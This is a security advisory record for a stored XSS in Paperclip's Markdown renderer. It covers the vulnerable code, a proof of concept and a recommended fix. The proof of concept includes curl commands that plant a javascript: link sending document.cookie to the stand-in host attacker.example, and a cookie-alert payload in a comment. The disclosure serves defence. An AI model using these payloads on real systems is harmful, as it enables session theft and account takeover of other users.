{"id":"GHSA-fpw4-p57j-hqmq","aliases":[],"url":"https://o3.security/vulnerability/GHSA-fpw4-p57j-hqmq","summary":"Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization","details":"## Summary\n\n`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) => url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.\n\n## Details\n\n### 1. Sink: MarkdownBody overrides url sanitization\n\n`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):\n\n```tsx\na: ({ href, children: linkChildren }) => {\n  const parsed = href ? parseMentionChipHref(href) : null;\n  if (parsed) { /* mention chip path, rewrites href */ }\n  return (\n    <a href={href} rel=\"noreferrer\">\n      {linkChildren}\n    </a>\n  );\n},\n// ...\n<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>\n  {children}\n</Markdown>\n```\n\n`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) => url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.\n\n### 2. Source: unsanitized markdown bodies\n\n`server/src/routes/issues.ts:815-862` accepts issue document bodies:\n\n```ts\nrouter.put(\"/issues/:id/documents/:key\", validate(upsertIssueDocumentSchema), async (req, res) => {\n  // ...\n  assertCompanyAccess(req, issue.companyId);\n  // ...\n  const result = await documentsSvc.upsertIssueDocument({\n    issueId: issue.id,\n    key: keyParsed.data,\n    title: req.body.title ?? null,\n    format: req.body.format,\n    body: req.body.body,          // ← stored verbatim\n    // ...\n  });\n```\n\n`packages/shared/src/validators/issue.ts:196-202`:\n\n```ts\nexport const upsertIssueDocumentSchema = z.object({\n  title: z.string().trim().max(200).nullable().optional(),\n  format: issueDocumentFormatSchema,     // enum: [\"markdown\"]\n  body: z.string().max(524288),          // no content validation\n  // ...\n});\n```\n\nOnly the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).\n\n### 3. Rendering path\n\n`ui/src/components/IssueDocumentsSection.tsx:71-72`:\n\n```tsx\nfunction renderBody(body: string, className?: string) {\n  return <MarkdownBody className={className}>{body}</MarkdownBody>;\n}\n```\n\n`ui/src/components/CommentThread.tsx:372`:\n\n```tsx\n<MarkdownBody className=\"text-sm\">{comment.body}</MarkdownBody>\n```\n\nThe same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.\n\n### 4. Authorization does not block cross-user reach\n\n`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.\n\n### 5. No compensating CSP\n\nA repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.\n\n## PoC\n\nPrerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `<ISSUE_ID>`, the backend reachable on `http://localhost:3000`.\n\n**Step 1 — Attacker plants a malicious issue document:**\n\n```bash\ncurl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \\\n  -H 'Cookie: <attacker-session-cookie>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n        \"format\": \"markdown\",\n        \"body\": \"# Plan\\n\\n[Click for details](javascript:fetch(\\\"https://attacker.example/steal?c=\\\"+encodeURIComponent(document.cookie)))\"\n      }'\n```\n\nExpected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.\n\n**Step 2 — Victim opens the issue:**\n\nThe victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `<MarkdownBody>`, which emits the DOM:\n\n```html\n<a href=\"javascript:fetch(&quot;https://attacker.example/steal?c=&quot;+encodeURIComponent(document.cookie))\" rel=\"noreferrer\">Click for details</a>\n```\n\n**Step 3 — Victim clicks the link:**\n\nThe browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.\n\n**Alternate vector — comments (same sink):**\n\n```bash\ncurl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \\\n  -H 'Cookie: <attacker-session-cookie>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"body\":\"[pwn](javascript:alert(document.cookie))\"}'\n```\n\n`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.\n\n## Impact\n\n- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.\n- **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.\n- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).\n- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.\n- **Persistent.** The payload lives in the document or comment record until explicitly deleted.\n\n## Recommended Fix\n\nThe minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`:\n\n```tsx\n// ui/src/components/MarkdownBody.tsx\nimport Markdown, { defaultUrlTransform, type Components } from \"react-markdown\";\n\n// ...\n\n// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,\n// but fall back to the library's scheme allow-list for everything else.\nfunction safeUrlTransform(url: string): string {\n  if (url.startsWith(\"paperclip-mention://\")) return url;\n  return defaultUrlTransform(url);\n}\n\n<Markdown\n  remarkPlugins={[remarkGfm]}\n  components={components}\n  urlTransform={safeUrlTransform}\n>\n  {children}\n</Markdown>\n```\n\n`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`.\n\nDefense-in-depth recommendations:\n\n1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src 'self' 'nonce-...'`) so that even a future regression cannot execute inline JS via `javascript:` navigation.\n2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content.\n3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.","published":"2026-04-16T22:49:13Z","modified":"2026-04-16T23:04:42.306500Z","cvss":{"score":5.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@paperclipai/ui","fixedVersion":"2026.416.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-fpw4-p57j-hqmq"},{"type":"PACKAGE","url":"https://github.com/paperclipai/paperclip"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-04-16T23:04:42.306500Z"}}